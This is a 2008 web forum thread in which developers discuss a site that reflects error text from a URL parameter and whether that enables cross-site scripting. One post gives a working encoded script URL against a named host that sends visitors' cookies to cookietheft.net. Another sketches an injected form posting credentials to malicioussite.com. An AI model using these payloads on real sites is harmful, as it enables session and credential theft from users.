|
SQL "Injection" WTF
Last post 07-10-2008 1:47 AM by Hank. 19 replies.
-
07-08-2008 11:23 PM
|
|
-
-
-
Dalden


- Joined on 06-18-2008
- Cape Town, South Africa
- Posts 17
|
Granted, that is a horrible way to compose a message and they should really be logging this error internally and rather present you with a generic message so when you call support they can look in their log file. But they're not really giving away any information you wouldn't already know or could guess. And you can't do anything with the MySQL server name or table name unless they also misconfigured the server to allow remote access over IP.
|
|
-
-
morbiuswilters


- Joined on 01-15-2008
- East Coast Represent!
- Posts 2,978
|
Dalden:Granted, that is a horrible way to compose a message and they should really be logging this error internally and rather present you with a generic message so when you call support they can look in their log file. But they're not really giving away any information you wouldn't already know or could guess. And you can't do anything with the MySQL server name or table name unless they also misconfigured the server to allow remote access over IP.
Guess you've never heard of XSS then.
< pstorer> Bans don't mean shit on the forum. It's like being on the Sex Offender List. You can still entice kids into your van with candy.
Want more? Go the IRC channel #TDWTFMafia on irc.slashnet.org.
Farmer Brown is MasterPlanSoftware. He created a new forum account because he is obsessed with me after I scorned him. Ignoring his trolling is the best way to deal with the crybaby.
|
|
-
-
Dalden


- Joined on 06-18-2008
- Cape Town, South Africa
- Posts 17
|
morbiuswilters:Guess you've never heard of XSS then.
I have, if you mean cross site scripting? Do you propose tricking someone with local access to the server into running malicious code with the local user's privileges?
|
|
-
-
morbiuswilters


- Joined on 01-15-2008
- East Coast Represent!
- Posts 2,978
|
Dalden:I have, if you mean cross site scripting? Do you propose tricking someone with local access to the server into running malicious code with the local user's privileges?
I mean giving a user a URL formed so that code is injected into the error page. I'm not sure if that's what you are saying, but it's certainly a security hole.
< pstorer> Bans don't mean shit on the forum. It's like being on the Sex Offender List. You can still entice kids into your van with candy.
Want more? Go the IRC channel #TDWTFMafia on irc.slashnet.org.
Farmer Brown is MasterPlanSoftware. He created a new forum account because he is obsessed with me after I scorned him. Ignoring his trolling is the best way to deal with the crybaby.
|
|
-
-
-
danixdefcon5


- Joined on 01-09-2007
- Mexico City, DF, Mexico
- Posts 485
|
morbiuswilters:
Dalden:I have, if you mean cross site scripting? Do you propose tricking someone with local access to the server into running malicious code with the local user's privileges?
I mean giving a user a URL formed so that code is injected into the error page. I'm not sure if that's what you are saying, but it's certainly a security hole.
I've seen some apps using this "method" for error messages. At least one financial institution had something like this:
http://wtfbank.com/SomeCrappyApp/error_message.jsp?error=The%20desktop%20environment%20could%20not%20be%20loaded.%20Please%20contact%20your%20administrator.
We took some time ago a snapshot of that error "page", with another message akin to User%20too%20stupid%20to%20use%20computer and sometimes used said URL in testing environments. We were trying to show how bad an idea it was to display error messages like this, but no one cared.
|
|
-
-
-
-
PSWorx


- Joined on 04-28-2006
- Posts 713
|
morbiuswilters:I mean giving a user a URL formed so that code is injected into the error page. I'm not sure if that's what you are saying, but it's certainly a security hole.
A very minor one in this case though, I think. From what I can see, the site uses neither cookies nor a login on that host. In fact, the message.php thing seems to have been the only dynamic page there. So until we get cross domain XMLHTTP, I don't think you could do more harm than the mandatory 'while(1)alert("lulz, I'm in ur browser getting on ur nerves");' message loop. [EDIT] Okay, I'm connecting from outside, so maybe I don't see some things there.
|
|
-
-
-
snover


- Joined on 07-09-2008
- Posts 2
|
PSWorx:So until we get cross domain XMLHTTP, I don't think you could do more harm than the mandatory 'while(1)alert("lulz, I'm in ur browser getting on ur nerves");' message loop.
Those already exist; they're called iframes. :) The bigger problem here though is probably from a social engineering standpoint, where one may be able to inject a form like <form method="post" action="http://malicioussite.com/stealstuff"><p>Enter your username and password/credit card information/mother's maiden name to continue</p><input type="text" name="ccnum" /> ...</form> etc etc.
|
|
-
-
-
MiffTheFox


- Joined on 07-03-2008
- Posts 58
|
PSWorx:So until we get cross domain XMLHTTP, I don't think you could do more harm than the mandatory 'while(1)alert("lulz, I'm in ur browser getting on ur nerves");' message loop. What about
http://ethoserver.ezone.net/message.php?mess=%3Cscript%3Ewindow.location%20%3D%20%22http%3A//cookietheft.net/steal%3F%22%20%2B%20document.cookie%3C/script%3E
It's more likely then you think.
|
|
-
-
morbiuswilters


- Joined on 01-15-2008
- East Coast Represent!
- Posts 2,978
|
bighusker:I think i did something like it once, before I learned about session variables and cookies.
Error messages in session variables and cookies? WTF?
< pstorer> Bans don't mean shit on the forum. It's like being on the Sex Offender List. You can still entice kids into your van with candy.
Want more? Go the IRC channel #TDWTFMafia on irc.slashnet.org.
Farmer Brown is MasterPlanSoftware. He created a new forum account because he is obsessed with me after I scorned him. Ignoring his trolling is the best way to deal with the crybaby.
|
|
-
-
Aaron


- Joined on 07-10-2007
- Posts 237
|
morbiuswilters:Error messages in session variables and cookies? WTF? In some convoluted Ajax apps, you might see errors (as well as just about everything else) funneled through the session state. Not that this is common, and most of the time there's a better way, but it's not totally inconceivable. Cookies I can't even guess...
|
|
-
-
bighusker


- Joined on 01-20-2007
- Posts 57
|
I wasn't referring to passing error messages through sesion variables and cookies. I was simply referring to passing data around between pages. 5-6 years ago, I would often just keep passing crap through a query_string if it had to cycle through multiple different pages...which meant any time you wanted an extra piece of data to get passed, you had to modify how the query string is built on each page. And yea...I've never used cookies for anything like that. I think I was a bit hurried when I typed it. I can't think of any practical reason for passing specific error messages through a URL parameter....that's a whole other problem.
|
|
-
-
Cap'n Steve


- Joined on 09-07-2006
- Posts 456
|
bighusker:I can't think of any practical reason for passing specific error messages through a URL parameter....that's a whole other problem.
I have something to confess, I actually thought about doing that once. I was thinking about how to optimize a site that was already mostly static pages and I thought about having a generic, static "message" page that had the actual message written out by Javascript. Of course, it would have been properly escaped, but that's still a bit of a WTF.
|
|
-
Page 1 of 1 (20 items)
|
|
|